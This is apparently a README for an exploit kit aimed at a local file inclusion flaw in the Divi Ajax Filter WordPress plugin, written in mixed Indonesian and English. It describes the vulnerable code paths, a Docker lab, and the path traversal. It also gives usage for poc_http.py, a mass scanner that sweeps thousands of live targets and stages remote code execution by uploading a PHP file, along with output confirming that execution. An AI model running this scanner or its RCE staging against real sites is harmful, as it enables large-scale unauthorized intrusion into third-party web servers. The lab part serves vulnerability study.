
Divi Ajax Filter <= 5.1.2 Unauthenticated Local File Inclusion via 'custom_loop_template'
| Plugin | Divi Ajax Filter (Divi Engine, premium — bukan di wordpress.org SVN) |
| Affected | semua versi <= 5.1.2 (lab memakai 3.1.8.4 dari mirror) |
| Patched | 5.1.3 (11/08/2026) |
| Tipe | CWE-98 — PHP Local File Inclusion, unauthenticated |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N) |
| Advisory | Wordfence (finder: h0xilo), dipublikasi 04/09/2026 |
| Sumber kode | mirror publik: github.com/albertoformi/fr9z3i4pwxt3qx (site WP + plugin di includes/modules/divi-ajax-filter/) |
includes/modules/FilterPosts/FilterPosts.php:1759 creates
wp_create_nonce('filter_object') and attaches it via wp_localize_script
(filter_ajax_object.security) to the script enqueued for ALL visitors
(wp_enqueue_scripts). The nonce is not a barrier: every visitor has a copy of it.filter_ajax.php:3406-3407 & loadmore_ajax.php:569-570
register handlers with wp_ajax_nopriv_* (without login).filter_ajax.php:114-133 (loadmore: 73-91):
$loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), then
$custom_loop_template = $loop_var['custom_loop_template'] verbatim —
without basename(), without a whitelist, without a realpath check.filter_ajax.php:2871-2873 (loadmore: 344-346):
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
Condition: the request must enter the non-WooCommerce branch ($posttype from the JSON
query is arbitrary, there is no allow-list) and the query must return >= 1 post.<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ requires ../../../../../ (5×) to get back to the webroot. IMPORTANT NOTE:
file_exists()/include() fail silently if a path prefix component does not exist —
the divi-ajax-filter/loop-templates/ directory inside the theme must exist (this is
the custom-template structure documented by the plugin, so it is commonly present on sites
that use this feature; without that directory the traversal is effectively blocked).cve-2026-11613/
├── poc_http.py # PoC + live massive scanner (single file)
├── divi-ajax-filter-3.1.8.4.zip # plugin siap install (upload via WP admin / Plugins > Add New)
├── README.md
├── mirror-site/ # clone github albertoformi/fr9z3i4pwxt3qx
│ └── includes/modules/divi-ajax-filter/ # plugin v3.1.8.4 (affected)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB, port 8099
├── setup.sh # copy plugin + compose up
├── install_wp.sh # install WP + verifikasi
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # shim DiviExtension/ET_Builder_* (lab-only)
│ └── zz-activate-daf.php # auto-aktivasi plugin
├── plugins/divi-ajax-filter/ # plugin rentan (di-mount ke container)
└── uploads/poc-rce.php # payload "upload" tersimulasi (exit di akhir)
bash lab/setup.sh # copy plugin + docker compose up (port 8099)
bash lab/install_wp.sh # install WP (admin / LabPass!2026)
# tambah struktur theme yang dibutuhkan traversal:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# buat 2 post contoh (sekali saja):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # auto http://
python poc_http.py https://target.com domain2.com # beberapa target
python poc_http.py --list targets.txt --threads 30 # massive scan 5000+
python poc_http.py --list targets.txt --fast # sweep ringan 2 req/target
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # stage RCE
http://; automatic dedupe; results are written
incrementally straight to results_cve-2026-11613.csv (Ctrl-C safe, partial results are saved).VULN: LFI / VULN: LFI+RCE (green), not-confirmed (yellow),
NO-NONCE / NO-PLUGIN (cyan), UNREACHABLE / ERROR (red).--no-color / env NO_COLOR for plain output; colors automatically turn off when piped.python wayang.py <site> <wp-user> <wp-pass>
One command: login → plant canary WayangXploit (small inactive plugin,
PoC-only: prints marker+uid+uname then exits, not a webshell, no cmd
parameter) → verify → unauth LFI sweep → RCE verdict. Auto: https-upgrade,
SSL bypass, redirect-preserving POST. Cleanup: remove the
"WayangXploit Canary" + "Divi Compat Shim" plugins in wp-admin after testing.
poc_http.py now defaults to --upload-marker WayangXploit-RCE-CONFIRMED
(so --upload-rel / --upload-name alone are enough).
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
Exploitability conditions on a live target (checked by live_scan.py):
filter_object nonce is exposed on a public page (module script is enqueued).<theme>/divi-ajax-filter/loop-templates/ directory (prefixed traversal requires this).